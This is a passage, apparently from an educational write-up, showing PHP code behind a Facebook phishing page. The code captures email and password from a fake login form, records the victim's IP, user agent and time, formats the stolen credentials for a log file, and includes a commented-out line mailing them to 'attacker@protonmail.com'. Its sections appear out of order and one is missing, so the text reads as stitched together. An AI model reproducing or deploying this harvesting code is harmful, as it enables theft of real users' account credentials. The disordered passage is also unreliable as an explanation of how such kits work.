// 2. Basic input sanitization (Ironically, to avoid breaking the attack) $email = trim($email); $password = trim($password);

// 6. Optional: Send to attacker's email (more risky for them) // mail("attacker@protonmail.com", "New Facebook Log", $data);

Below is an anonymized but realistic example of the PHP code used in the wild for Facebook phishing. Let's analyze it line by logical section. The Code <?php // Facebook Phishing Post Script - Educational Analysis Only // 1. Capture incoming POST data from the fake login form $email = $_POST['email']; $password = $_POST['pass'];

// 3. Define storage location (often obfuscated) $log_file = "logs/facebook_logs.txt"; $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $date = date("Y-m-d H:i:s");

// 4. Format the stolen data $data = "========== NEW LOGIN ==========\n"; $data .= "Date: $date\n"; $data .= "IP: $ip\n"; $data .= "User Agent: $user_agent\n"; $data .= "Email/Phone: $email\n"; $data .= "Password: $password\n"; $data .= "================================\n\n";
